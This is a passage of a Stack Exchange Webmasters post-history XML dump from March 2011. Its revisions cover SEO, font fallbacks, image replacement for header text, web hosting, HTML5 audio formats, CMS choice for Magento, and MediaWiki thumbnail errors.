phrase.&#xD;&#xA;&#xD;&#xA;there are benifits if the URL match the search term, as the search term gets highlighted in the SERPs, additionally the URL is the most used anchor text (as people tend to copy &amp; paste URLs), so you get a cool anchor text if you use the keyword (in whatever language) in the URL, also the URL keyword is seen as content and adds context to the page, another SEO plus.&#xD;&#xA;&#xD;&#xA;so yeah, scenario 1 is definitely the winner." />
  <row Id="25276" PostHistoryTypeId="17" PostId="11203" RevisionGUID="3c1d8071-d90a-4b83-944c-385dc7028b48" CreationDate="2011-03-25T09:17:20.763" UserId="-1" Comment="from http://stackoverflow.com/questions/5423662/website-not-showing-in-google-search/5423702#5423702" Text="" />
  <row Id="25277" PostHistoryTypeId="17" PostId="11204" RevisionGUID="d7905d4a-6d1b-4a4e-9b88-db1cd943daa5" CreationDate="2011-03-25T09:17:20.763" UserId="-1" Comment="from http://stackoverflow.com/questions/5423662/website-not-showing-in-google-search/5423743#5423743" Text="" />
  <row Id="25278" PostHistoryTypeId="17" PostId="11205" RevisionGUID="b08eec10-a6cf-46a6-ab94-789f9716a401" CreationDate="2011-03-25T09:17:20.763" UserId="-1" Comment="from http://stackoverflow.com/questions/5423662/website-not-showing-in-google-search/5423942#5423942" Text="" />
  <row Id="25279" PostHistoryTypeId="2" PostId="11203" RevisionGUID="82cc706f-849d-4b11-a322-975388c3dcbf" CreationDate="2011-03-24T18:25:32.367" UserDisplayName="user670111" Text="takes time.&#xD;&#xA;add your site to web directories with good page rank.&#xD;&#xA;still... takes time." />
  <row Id="25280" PostHistoryTypeId="2" PostId="11204" RevisionGUID="1dccffe6-de57-4cb5-95d9-89f41e56b7c4" CreationDate="2011-03-24T18:29:45.057" UserDisplayName="Leroux" Text="You can read about [SEO][1] which is a set of techniques and guidelines on how to construct a page in way of improving its visibility on search engines like Google. &#xD;&#xA;&#xD;&#xA;Take in mind that it might take some time until search engines crawl your website and add it to their index. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Search_engine_optimization" />
  <row Id="25281" PostHistoryTypeId="2" PostId="11205" RevisionGUID="65418c2c-fcd7-4ea5-9973-2488f0420677" CreationDate="2011-03-24T18:45:08.173" UserDisplayName="Kathy" Text="Google inclusion is by no means automatic. Without knowing anything about your site, here is what Google looks at generally: (caveat, they change the specifics all the time)&#xD;&#xA;1. Use web standards to markup your text. Use h1, p, a, etc. Avoid laying out non-tabular data in tables.&#xD;&#xA;2. Google can't read images. Only use images for headlines if you are doing image replacement.&#xD;&#xA;3. Google can't really read flash.&#xD;&#xA;4. Google usually ignores JavaScript. If you use a lot of AJAX or encase links in it, you have crippled your site in the rankings.&#xD;&#xA;5. Avoid any black hat technique ever used. No white text on a white background, link farms, stuffing keywords into metatags, redirects that intended to show google one page and your visitors another.&#xD;&#xA;6. Pay attention to your page-ranking which, by the way, is affected by all of the above. One client used all images in tables (how 90's) and they didn't come up for the company name. Their page rank was low.&#xD;&#xA;7. Lastly and most importantly, Google counts in-coming links from reliable sites. If no one links to you, you are invisible." />
  <row Id="25282" PostHistoryTypeId="2" PostId="11202" RevisionGUID="e90c9421-1b28-4874-86d8-36bdfed74a2b" CreationDate="2011-03-24T18:21:59.193" UserDisplayName="Rahul Utb" Text="I have a site hosted at Brinkster and all keywords are there, but I still can't get it to show up in a Google search. &#xD;&#xA;&#xD;&#xA;I thought if I searched for it by domain name, it would show up in the Google search results.&#xD;&#xA;&#xD;&#xA;Can anyone explain why it's not showing up? " />
  <row Id="25283" PostHistoryTypeId="1" PostId="11202" RevisionGUID="e90c9421-1b28-4874-86d8-36bdfed74a2b" CreationDate="2011-03-24T18:21:59.193" UserDisplayName="Rahul Utb" Text="Website not showing in Google search" />
  <row Id="25284" PostHistoryTypeId="3" PostId="11202" RevisionGUID="e90c9421-1b28-4874-86d8-36bdfed74a2b" CreationDate="2011-03-24T18:21:59.193" UserDisplayName="Rahul Utb" Text="&lt;search&gt;&lt;google&gt;&lt;websites&gt;&lt;seo&gt;" />
  <row Id="25285" PostHistoryTypeId="17" PostId="11202" RevisionGUID="d2e3682b-54ef-47b6-8939-5f3f05168746" CreationDate="2011-03-25T09:17:20.763" UserId="-1" Comment="from http://stackoverflow.com/questions/5423662/website-not-showing-in-google-search" Text="" />
  <row Id="25287" PostHistoryTypeId="5" PostId="11179" RevisionGUID="bf9386b4-c32c-4426-a9e0-87d558c6291b" CreationDate="2011-03-25T10:06:30.763" UserId="6060" Comment="added 26 characters in body" Text="How safe is it as a web designer to assume that `msttcorefonts` would have beeb installed on a client machine viewing my website? If not what sans serif fonts should I use then? (for body)" />
  <row Id="25288" PostHistoryTypeId="25" PostId="11197" RevisionGUID="26bb0f69-66a4-4bc3-9915-beaf306e6090" CreationDate="2011-03-25T11:30:29.677" Comment="http://twitter.com/#!/StackWebmasters/status/51244558851383296" />
  <row Id="25289" PostHistoryTypeId="10" PostId="11197" RevisionGUID="3120f7aa-e4f1-4139-86f4-5b0fe7d18b7b" CreationDate="2011-03-25T11:50:48.853" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25290" PostHistoryTypeId="10" PostId="11198" RevisionGUID="b74a682c-d72e-47f6-9067-f1c120111f82" CreationDate="2011-03-25T11:51:24.780" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25291" PostHistoryTypeId="2" PostId="11207" RevisionGUID="5561b5f0-e367-459a-b2aa-fb20affa0b22" CreationDate="2011-03-25T11:55:16.683" UserId="1253" Text="Pros:&#xD;&#xA;&#xD;&#xA;Cons: These links are worthless as they are almost certainly considered link farms (and if you ever link back to one of them you risk being considered part of it and getting penalized or banned yourself). And even if they aren't, there are so many links on those pages that what little value there is available is diluted the point where there is no more value. And that's assuming they have any value at all and the odds are they don't since they will have little no links pointing to them and they're almost certainly off topic. A lot of the sites they claim to submit to also no longer exist so you're getting less linking opportunities then you think.&#xD;&#xA;&#xD;&#xA;In short, this is a waste of time" />
  <row Id="25292" PostHistoryTypeId="5" PostId="11188" RevisionGUID="a7a59caf-ef30-4623-84a4-59ec6b749e2e" CreationDate="2011-03-25T11:56:18.630" UserId="1253" Comment="Removed link so it wouldn't be a review" Text="I am trying to re-do my portfolio website since its a pain to maintain it. Everytime I have to add a new item to it, it just takes forever and kills me. I'd like to redesign in a way that makes the workflow of adding new items smooth. I am not looking for fancy effects, just a simple website which makes it easy to people browse through my stuff.&#xD;&#xA;&#xD;&#xA;All of the pages are standalone html files. Each page has a common header and footer for navigation between pages. Right now, whenever I have to modify the content, I try to dig in which table row it is and then add content to it. (yes, I use notepad).&#xD;&#xA;&#xD;&#xA;Can someone please recommend me what would be the best way to go about it ?&#xD;&#xA;&#xD;&#xA;(PS: Please let me know if I missed out anything).&#xD;&#xA;" />
  <row Id="25293" PostHistoryTypeId="2" PostId="11208" RevisionGUID="e3ca247d-be53-4bab-8285-5ed83ea736da" CreationDate="2011-03-25T11:57:16.133" UserId="3310" Text="No it won't help much for rankings or useful visitors.  Search engines look for relevant links and largely ignore link catalog/directory style sites." />
  <row Id="25294" PostHistoryTypeId="2" PostId="11209" RevisionGUID="b8560870-423d-4352-ad15-48ddc31a6dde" CreationDate="2011-03-25T12:04:33.267" UserId="3461" Text="Alternatively, I just use similar fonts (in shape, etc) that are told to be common in most distributions, and of course, they come in font-family tag after Arial or verdana or whichever I want windows users to see , so linux users will see the alternative ones instead.&#xD;&#xA;&#xD;&#xA;For a clue, I (I use mostly san serif fonts, similar to arial, verdana, etc) tend to set these : Nimbus Sans L, FreeSans, Bitstream Vera Sans, Liberation Sans, Dejavu.&#xD;&#xA;&#xD;&#xA;Anyway, I set always first those fitting better my design, as many linux do have those as well (often Arial, verdana, etc)&#xD;&#xA;&#xD;&#xA;You have [here][1] a relation of most common fonts in linuxes, udpated last february.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codestyle.org/css/font-family/sampler-UnixResults.shtml" />
  <row Id="25295" PostHistoryTypeId="2" PostId="11210" RevisionGUID="fb4f575d-5a48-4900-8a00-04f740190e6a" CreationDate="2011-03-25T12:05:42.890" UserId="6108" Text="I read this post:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66353&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my site currently, I have the following:&#xD;&#xA;    &#xD;&#xA;    // site.css&#xD;&#xA;    h1{&#xD;&#xA;      background: transparent url(&quot;/images/mylogo.png&quot;) 0 0 no-repeat;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    h1 span{&#xD;&#xA;      display:none;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &lt;!-- index.html --&gt;&#xD;&#xA;    &lt;h1&gt;&#xD;&#xA;      &lt;span&gt; Name of My website &lt;/span&gt;&#xD;&#xA;    &lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;My thinking was that by including the text in the header that the HTML would still be well-structured.  Since reading that post though, I'm anxious that google may penalise us for hiding text content.&#xD;&#xA;&#xD;&#xA;Can anybody shed some light on this issue?&#xD;&#xA;&#xD;&#xA;Is including hidden text in the header beneficial or detrimental (or neither) ?" />
  <row Id="25296" PostHistoryTypeId="1" PostId="11210" RevisionGUID="fb4f575d-5a48-4900-8a00-04f740190e6a" CreationDate="2011-03-25T12:05:42.890" UserId="6108" Text="Will google penalise me for hiding header text?" />
  <row Id="25297" PostHistoryTypeId="3" PostId="11210" RevisionGUID="fb4f575d-5a48-4900-8a00-04f740190e6a" CreationDate="2011-03-25T12:05:42.890" UserId="6108" Text="&lt;seo&gt;&lt;google&gt;&lt;seo-friendly&gt;" />
  <row Id="25298" PostHistoryTypeId="2" PostId="11211" RevisionGUID="f0ca929d-c933-447f-be12-d23fcb989d55" CreationDate="2011-03-25T12:07:35.610" UserId="3310" Text="If the content or urls have changed much then you will be starting from fresh.&#xD;&#xA;&#xD;&#xA;However you can boost how quickly your site rises by taking advantage of existing links.  Check 404 logs and make sure to redirect incoming urls to **relevent** pages (not just your homepage)&#xD;&#xA;&#xD;&#xA;Also if you can redirect those pages from the parent company back to the equivalent page in your new site you can transfer some rep back." />
  <row Id="25299" PostHistoryTypeId="5" PostId="11209" RevisionGUID="12fcfef5-ea96-4a34-a0b8-d68c0a5ff84b" CreationDate="2011-03-25T12:17:36.517" UserId="3461" Comment="added 307 characters in body; added 9 characters in body" Text="Alternatively, I just use similar fonts (in shape, etc) that are told to be common in most distributions, and of course, they come in font-family tag after Arial or verdana or whichever I want windows users to see , so linux users will see the alternative ones instead.&#xD;&#xA;&#xD;&#xA;For a clue, I (I use mostly san serif fonts, similar to arial, verdana, etc) tend to set these : Nimbus Sans L, FreeSans, Bitstream Vera Sans, Liberation Sans, Dejavu.&#xD;&#xA;&#xD;&#xA;Anyway, I set always first those fitting better my design, as many linux do have those as well (often Arial, verdana, etc)&#xD;&#xA;&#xD;&#xA;You have [here][1] a relation of most common fonts in linuxes, udpated last february.&#xD;&#xA;&#xD;&#xA;Last note: You might be interested in having an vmware virtual machine in Windows for trial and error in using these alternative fonts. I do this quite often myself. (we at Bitnami have VMWare virtual machines with [Drupal][3] or other CMSs already all set and configured)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codestyle.org/css/font-family/sampler-UnixResults.shtml&#xD;&#xA;  [3]: http://bitnami.org/stack/drupal" />
  <row Id="25300" PostHistoryTypeId="2" PostId="11212" RevisionGUID="32f8a31f-d412-465d-befd-b19986128dd1" CreationDate="2011-03-25T12:19:58.813" UserId="3310" Text="You should really be using img and alt text to do this.  css background images are more for pretification rather than content.  &#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/492809/when-to-use-img-vs-css-background-image&#xD;&#xA;&#xD;&#xA;You could argue that it is image replacement of text which is quite common so I don't think that you will be penalised but at the very least that particular text is not going to be indexed as highly." />
  <row Id="25301" PostHistoryTypeId="5" PostId="11212" RevisionGUID="ebed8e63-7593-4e6d-962d-6a19c7453e85" CreationDate="2011-03-25T12:25:17.967" UserId="3310" Comment="added 24 characters in body" Text="You should really be using img and alt text to do this.  css background images are more for pretification rather than content.  &#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/492809/when-to-use-img-vs-css-background-image&#xD;&#xA;&#xD;&#xA;You could argue that it is image replacement of text which is quite common but as it stands the text wouldn't show even with images turned off.&#xD;&#xA;&#xD;&#xA;At the very least that particular text is not going to be indexed as highly." />
  <row Id="25302" PostHistoryTypeId="2" PostId="11213" RevisionGUID="7d4aacaf-b700-43d4-92ae-2b8c5a1d6c38" CreationDate="2011-03-25T12:30:55.443" UserId="1643" Text="Why not follow Google's suggestion about using Javascript, and use it to hide the h1 and display the image. If it's not enabled then people (and search engines) will still see the text." />
  <row Id="25303" PostHistoryTypeId="2" PostId="11214" RevisionGUID="171c4d8b-e063-47a7-ba8b-38acdf11a10e" CreationDate="2011-03-25T12:32:14.443" UserId="3461" Text="'Unlimited' is not possible to achieve, it's more of a marketting gimmick. Although seems to be mostly asumed it means basicly they let you use whatever till you hit some of the many limits in their TOS (ie, you might be hitting their cpu usage early when using loads of bandwidth, for scripts usage, etc), and more or less is become a common &quot;term&quot;.&#xD;&#xA;&#xD;&#xA;The domains matter tie you to that hosting, instead of having the freedom to change to another(you can, but there can be more delays and issues) if the hosting starts to loose speed, etc. &#xD;&#xA;&#xD;&#xA;I tend to find good feedback on Hostgator, Hawkhost, Liquidwebs. Just recently have not checked." />
  <row Id="25304" PostHistoryTypeId="2" PostId="11215" RevisionGUID="5318b3b1-f989-4719-856c-8f56bfe176c8" CreationDate="2011-03-25T12:38:24.970" UserId="3461" Text="You might want to check [Webhostingtalk][1] forums. Yet though, as I have just said in other answer, seems Hostgator is on of the most respected (you can check in the mentioned forum. Plus see sveral few other with almost same good fame.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com" />
  <row Id="25305" PostHistoryTypeId="6" PostId="11182" RevisionGUID="d23dcf97-0c0d-4156-a961-5943c2baf937" CreationDate="2011-03-25T13:05:41.063" UserId="1253" Comment="added &quot;looking-for-hosting &quot; tag" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="25306" PostHistoryTypeId="5" PostId="11120" RevisionGUID="1d54cbff-dc07-4605-bb84-c26e546f3bdc" CreationDate="2011-03-25T13:55:16.687" UserId="1253" Comment="added 326 characters in body" Text="WAV files are pretty large in size. Especially when compared to mp3s which are ~90% smaller in size. Ogg Vorbis should also be much smaller. Naturally the smaller file size is ideal for the web. Unfortunately support for different formats is varied amongst browsers. &#xD;&#xA;&#xD;&#xA;Fortunately you can work around this by specifying multiple files and letting the browser choose the first one they support. This way .wav files are only loaded if nothing else is supported.&#xD;&#xA;&#xD;&#xA;    &lt;audio preload=&quot;auto&quot; autobuffer&gt; &#xD;&#xA;      &lt;source src=&quot;file.mp3&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.ogg&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.wav&quot; /&gt;&#xD;&#xA;    &lt;/audio&gt;&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;This is the `&lt;audio&gt;` version of progressive enhancement. You can list the formats in order of preference with .wav, the largest file format, being last so only users who don't have browsers supporting .mp3 or .ogg need to load that file. Based on your requirements these users should be few and far between." />
  <row Id="25307" PostHistoryTypeId="2" PostId="11216" RevisionGUID="49bbd57b-ee2e-4093-a693-ac4b1f695a3c" CreationDate="2011-03-25T13:56:00.477" UserId="6340" Text="I think you have the right idea, but have implemented it wrong.&#xD;&#xA;&#xD;&#xA;I think display none shouldn't be used because of screen readers, at least that's what I've read.&#xD;&#xA;&#xD;&#xA;I really like this method: &#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;My Website/Page Title&lt;span&gt;&lt;/span&gt;&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;    h1 {position:relative;height:100px;width:100px;}&#xD;&#xA;    &#xD;&#xA;    h1 span{background:url(link-to-image); display:block; height:100px; width:100px; z-index:2; position:absolute;}&#xD;&#xA;&#xD;&#xA;Pretty much you position a span tag over your text. So the text would be visible without images. Only downside is transparent images but you could always position the text in a non transparent part or text indent it.&#xD;&#xA;&#xD;&#xA;Read about it first in: The Zen of CSS Design: Visual Enlightenment for the Web&#xD;&#xA;&#xD;&#xA;Nice list of options: http://css-tricks.com/css-image-replacement/ (Method 8 is what I described)&#xD;&#xA;&#xD;&#xA;Your not hiding the text from visitors, just presenting it.&#xD;&#xA;&#xD;&#xA;From the Google link:&#xD;&#xA;&#xD;&#xA;&gt; When evaluating your site to see if it&#xD;&#xA;&gt; includes hidden text or links, look&#xD;&#xA;&gt; for anything that's not easily&#xD;&#xA;&gt; viewable by visitors of your site. Are&#xD;&#xA;&gt; any text or links there solely for&#xD;&#xA;&gt; search engines rather than visitors?&#xD;&#xA;" />
  <row Id="25308" PostHistoryTypeId="5" PostId="11216" RevisionGUID="761ae4f5-ef47-4541-8f49-dd9c10d4a514" CreationDate="2011-03-25T14:02:09.930" UserId="6340" Comment="added 196 characters in body; deleted 194 characters in body" Text="I think you have the right idea, but have implemented it wrong.&#xD;&#xA;&#xD;&#xA;I think display none shouldn't be used because of screen readers, at least that's what I've read.&#xD;&#xA;&#xD;&#xA;I really like this method: &#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;My Website/Page Title&lt;span&gt;&lt;/span&gt;&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;    h1 {position:relative;height:100px;width:100px;}&#xD;&#xA;    &#xD;&#xA;    h1 span{background:url(link-to-image); display:block; height:100px; width:100px; z-index:2; position:absolute;}&#xD;&#xA;&#xD;&#xA;Pretty much you position a span tag over your text. So the text would be visible without images. Only downside is transparent images but you could always position the text in a non transparent part or text indent it.&#xD;&#xA;&#xD;&#xA;Read about it first in: The Zen of CSS Design: Visual Enlightenment for the Web&#xD;&#xA;&#xD;&#xA;Nice list of options: http://css-tricks.com/css-image-replacement/ (Method 8 is what I described)&#xD;&#xA;&#xD;&#xA;Your not hiding the text from visitors, just presenting it.&#xD;&#xA;&#xD;&#xA;From the Google link:&#xD;&#xA;&#xD;&#xA;&gt; When evaluating your site to see if it&#xD;&#xA;&gt; includes hidden text or links, look&#xD;&#xA;&gt; for anything that's not easily&#xD;&#xA;&gt; viewable by visitors of your site. Are&#xD;&#xA;&gt; any text or links there solely for&#xD;&#xA;&gt; search engines rather than visitors?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25309" PostHistoryTypeId="5" PostId="11120" RevisionGUID="5a49dc86-ef68-4829-b7dc-283186569d28" CreationDate="2011-03-25T14:05:08.837" UserId="1253" Comment="added 101 characters in body" Text="WAV files are pretty large in size. Especially when compared to mp3s which are ~90% smaller in size. Ogg Vorbis should also be much smaller. Naturally the smaller file size is ideal for the web. Unfortunately support for different formats is varied amongst browsers. &#xD;&#xA;&#xD;&#xA;Fortunately you can work around this by specifying multiple files and letting the browser choose the first one they support. This way .wav files are only loaded if nothing else is supported.&#xD;&#xA;&#xD;&#xA;    &lt;audio preload=&quot;auto&quot; autobuffer&gt; &#xD;&#xA;      &lt;source src=&quot;file.mp3&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.ogg&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.wav&quot; /&gt;&#xD;&#xA;    &lt;/audio&gt;&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;This is the `&lt;audio&gt;` version of progressive enhancement. You can list the formats in order of preference with .wav, the largest file format, being last so only users who don't have browsers supporting .mp3 or .ogg need to load that file. Based on your requirements these users should be few and far between. If you're sure your users will support either .mp3 or .ogg then you can leave the .wav off entirely." />
  <row Id="25310" PostHistoryTypeId="5" PostId="11215" RevisionGUID="8b52421f-f7f8-4905-bff3-46eb51658656" CreationDate="2011-03-25T14:10:24.277" UserId="3461" Comment="added 1 characters in body" Text="You might want to check [Webhostingtalk][1] forums. Yet though, as I have just said in other answer, seems Hostgator is on of the most respected (you can check in the mentioned forum. Plus see several few other with almost same good fame.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com" />
  <row Id="25311" PostHistoryTypeId="25" PostId="11210" RevisionGUID="d3a28ae1-52de-4987-8c20-c5981a0029bd" CreationDate="2011-03-25T14:30:29.983" Comment="http://twitter.com/#!/StackWebmasters/status/51289858781626368" />
  <row Id="25312" PostHistoryTypeId="2" PostId="11217" RevisionGUID="bf2c5270-29f6-4d3a-b930-48563bf17a7a" CreationDate="2011-03-25T14:41:59.197" UserId="6341" Text="I am working on a project for 3 niche stores built on magento (using magento's multi-store function) that each get roughly 50k unique visitors a day. The sites don't currently have a blog or forum or any social networking aspects.&#xD;&#xA;&#xD;&#xA;Would like to add a cms to each site that can be centrally run and would like it to take over the front end content from Magento. Also would like it to maintain an online blog/publication of sorts with videos, articles, and the like with privileges to edit the content given to a dozen or so people with different privileges. Want to add a forum to each site that is fairly robust and to possibly add some social networking aspects down the road, so extandability and available plugins/mods in each cms is important.&#xD;&#xA;&#xD;&#xA;Other than shared login between the forums,blog/publication and store, would like to be able to integrate some content from the forums and blog/publication into the store as well.&#xD;&#xA;&#xD;&#xA;After researching this a bit, I am inclined towards Drupal, but I haven't found any modules to integrate it with Magento. Also, since the blog content will be done by about a dozen nontechnical people, I want something that is very easy to work with. Lastly, since the site gets a good amount of traffic, speed and security are very important.&#xD;&#xA;&#xD;&#xA;What CMS would you recommend integrating in this context? Deciding between Drupal, Wordpress and Plone.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="25313" PostHistoryTypeId="1" PostId="11217" RevisionGUID="bf2c5270-29f6-4d3a-b930-48563bf17a7a" CreationDate="2011-03-25T14:41:59.197" UserId="6341" Text="Adding a CMS to an existing Magento shop" />
  <row Id="25314" PostHistoryTypeId="3" PostId="11217" RevisionGUID="bf2c5270-29f6-4d3a-b930-48563bf17a7a" CreationDate="2011-03-25T14:41:59.197" UserId="6341" Text="&lt;wordpress&gt;&lt;cms&gt;&lt;drupal&gt;&lt;magento&gt;" />
  <row Id="25315" PostHistoryTypeId="2" PostId="11218" RevisionGUID="83e810aa-1f24-4d3e-8e3c-58c4d51360c3" CreationDate="2011-03-25T16:04:17.630" UserId="6335" Text="i have Google AdSense on my web site and on every page i'm getting following error:&#xD;&#xA;&gt;    Unable to post message to http://googleads.g.doubleclick.net. Recipient has origin http://mywebsite.com&#xD;&#xA;&#xD;&#xA;What is it ? Will it affect my revenue ?" />
  <row Id="25316" PostHistoryTypeId="1" PostId="11218" RevisionGUID="83e810aa-1f24-4d3e-8e3c-58c4d51360c3" CreationDate="2011-03-25T16:04:17.630" UserId="6335" Text="Unable to post message" />
  <row Id="25317" PostHistoryTypeId="3" PostId="11218" RevisionGUID="83e810aa-1f24-4d3e-8e3c-58c4d51360c3" CreationDate="2011-03-25T16:04:17.630" UserId="6335" Text="&lt;google-adsense&gt;&lt;error&gt;" />
  <row Id="25318" PostHistoryTypeId="2" PostId="11219" RevisionGUID="3c45b639-e9fb-4746-bd2a-898c2995a87d" CreationDate="2011-03-25T16:09:47.683" UserId="5739" Text="Have a look at this answer: http://stackoverflow.com/questions/2541797/javascript-errors-from-google-adsense" />
  <row Id="25322" PostHistoryTypeId="2" PostId="11221" RevisionGUID="f3a81d24-3c15-4dc3-bbad-b175043de9b3" CreationDate="2011-03-25T16:21:11.010" UserId="6345" Text="Yah hostgator is the best for service,support,price and features also.." />
  <row Id="25328" PostHistoryTypeId="2" PostId="11223" RevisionGUID="8419403b-74c9-4b48-8eb1-47dec3c36246" CreationDate="2011-03-25T17:24:49.443" UserId="6347" Text="I am working on silverlight application and I am trying to set brightness and contrast, but I am not able to set this.&#xD;&#xA;&#xD;&#xA;I had tried different different approach, but I am not goes to success I am really really wory about what to do and how to do...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks...!!" />
  <row Id="25329" PostHistoryTypeId="1" PostId="11223" RevisionGUID="8419403b-74c9-4b48-8eb1-47dec3c36246" CreationDate="2011-03-25T17:24:49.443" UserId="6347" Text="How Silverlight set Image Brightness and contrast." />
  <row Id="25330" PostHistoryTypeId="3" PostId="11223" RevisionGUID="8419403b-74c9-4b48-8eb1-47dec3c36246" CreationDate="2011-03-25T17:24:49.443" UserId="6347" Text="&lt;silverlight&gt;" />
  <row Id="25331" PostHistoryTypeId="25" PostId="11218" RevisionGUID="9e6196b7-d92a-4ef7-9a39-32fa0870b7f8" CreationDate="2011-03-25T17:30:30.110" Comment="http://twitter.com/#!/StackWebmasters/status/51335157994631168" />
  <row Id="25332" PostHistoryTypeId="2" PostId="11224" RevisionGUID="27a70b15-9cfe-4c2a-b4d7-792eb7992eea" CreationDate="2011-03-25T17:56:48.080" UserId="6348" Text="I would go with clicky.&#xD;&#xA;&#xD;&#xA;Tracking my authenticated visitors (knowing their username, e-mail etc) is a piece of cake:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      var clicky_custom = {};&#xD;&#xA;      clicky_custom.session = {&#xD;&#xA;          name: '[+fullname+]',&#xD;&#xA;          email: '[+email+]',&#xD;&#xA;          username: '[+username+]'&#xD;&#xA;      };&#xD;&#xA;      clicky_custom.timer = 5000;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script src=&quot;https://static.getclicky.com/js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;try{ clicky.init(mySiteId); }catch(err){}&lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;&lt;p&gt;&lt;img alt=&quot;Clicky&quot; width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://in.getclicky.com/mySiteIdns.gif&quot; /&gt;&lt;/p&gt;&lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quoting from their site:&#xD;&#xA;&#xD;&#xA;&gt; The session property allows you to add&#xD;&#xA;&gt; your own data to a visitor session.&#xD;&#xA;&gt; This data will be stored in our&#xD;&#xA;&gt; database and accessible whenever you&#xD;&#xA;&gt; request the details of this session,&#xD;&#xA;&gt; whether that's through the web site&#xD;&#xA;&gt; itself, the API, third party widgets,&#xD;&#xA;&gt; or otherwise. When viewing a session&#xD;&#xA;&gt; on our web site, each custom value&#xD;&#xA;&gt; will have an icon  next to it to&#xD;&#xA;&gt; easily distinguish your data from the&#xD;&#xA;&gt; standard data that we already track.&#xD;&#xA;&#xD;&#xA;More details on:&#xD;&#xA;[http://getclicky.com/forums/?id=6092#session][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/forums/?id=6092#session" />
  <row Id="25333" PostHistoryTypeId="2" PostId="11225" RevisionGUID="c1230d18-f1cd-45dd-b02e-0d1449022fdb" CreationDate="2011-03-25T19:02:18.750" UserId="6346" Text="I am involved in the development of a number of Joomla! websites and we would like to make these websites mobile friendly. I have done a bit of searching online and I can't seem to find any standard way of doing this. I have have come across a few Joomla! extensions that claim to make themselves mobile friendly for this device or that device. However, I am weary to just start trying these out.&#xD;&#xA;&#xD;&#xA;Do any of you know of standard ways to make a Joomla! site mobile friendly?" />
  <row Id="25334" PostHistoryTypeId="1" PostId="11225" RevisionGUID="c1230d18-f1cd-45dd-b02e-0d1449022fdb" CreationDate="2011-03-25T19:02:18.750" UserId="6346" Text="What are the different ways of making a Joomla! website mobile friendly?" />
  <row Id="25335" PostHistoryTypeId="3" PostId="11225" RevisionGUID="c1230d18-f1cd-45dd-b02e-0d1449022fdb" CreationDate="2011-03-25T19:02:18.750" UserId="6346" Text="&lt;joomla&gt;&lt;usability&gt;&lt;mobile&gt;&lt;user-friendly&gt;" />
  <row Id="25336" PostHistoryTypeId="2" PostId="11226" RevisionGUID="8b18d840-e4ea-4615-88e9-0905a9b24c60" CreationDate="2011-03-25T19:03:13.697" UserId="4945" Text="You will absolutely want to use Drupal. Here is the [module][1] you need. It is only good for version 6, so keep that in mind. Drupal also hass all of the other features you need: CMS, Blog, Forum, Social plugins.&#xD;&#xA;&#xD;&#xA;As far as being easy to work with for non technical people. You will want to create a user type that has limited access. IE, can change only the content you give them permissions to change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/magento" />
  <row Id="25337" PostHistoryTypeId="2" PostId="11227" RevisionGUID="1a455b5f-2b03-43a3-aa1f-92b71c06d5be" CreationDate="2011-03-25T19:04:56.990" UserId="6351" Text="I'm getting the following error in the log when MediaWiki tries to make a thumbnail of a large image in MediaWiki.  I've tried increasing the limits of various things like upload size but that doesn't seem to work.  What limit do I need to increase to get this to work?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;/var/www/genwiki/bin/ulimit4.sh: line 4: 12338 File size limit exceeded'/usr/bin/convert' -quality 80 -background white -size 318 '/var/www/genwiki/images/b/b0/JamesGibsonSr_001.jpg' -thumbnail '318x599!' -depth 8 -sharpen '0x0.4' '/var/www/genwiki/images/thumb/b/b0/JamesGibsonSr_001.jpg/318px-JamesGibsonSr_001.jpg' 2&gt;&amp;1&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="25338" PostHistoryTypeId="1" PostId="11227" RevisionGUID="1a455b5f-2b03-43a3-aa1f-92b71c06d5be" CreationDate="2011-03-25T19:04:56.990" UserId="6351" Text="Errors when creating thumbnails for large images in MediaWiki" />
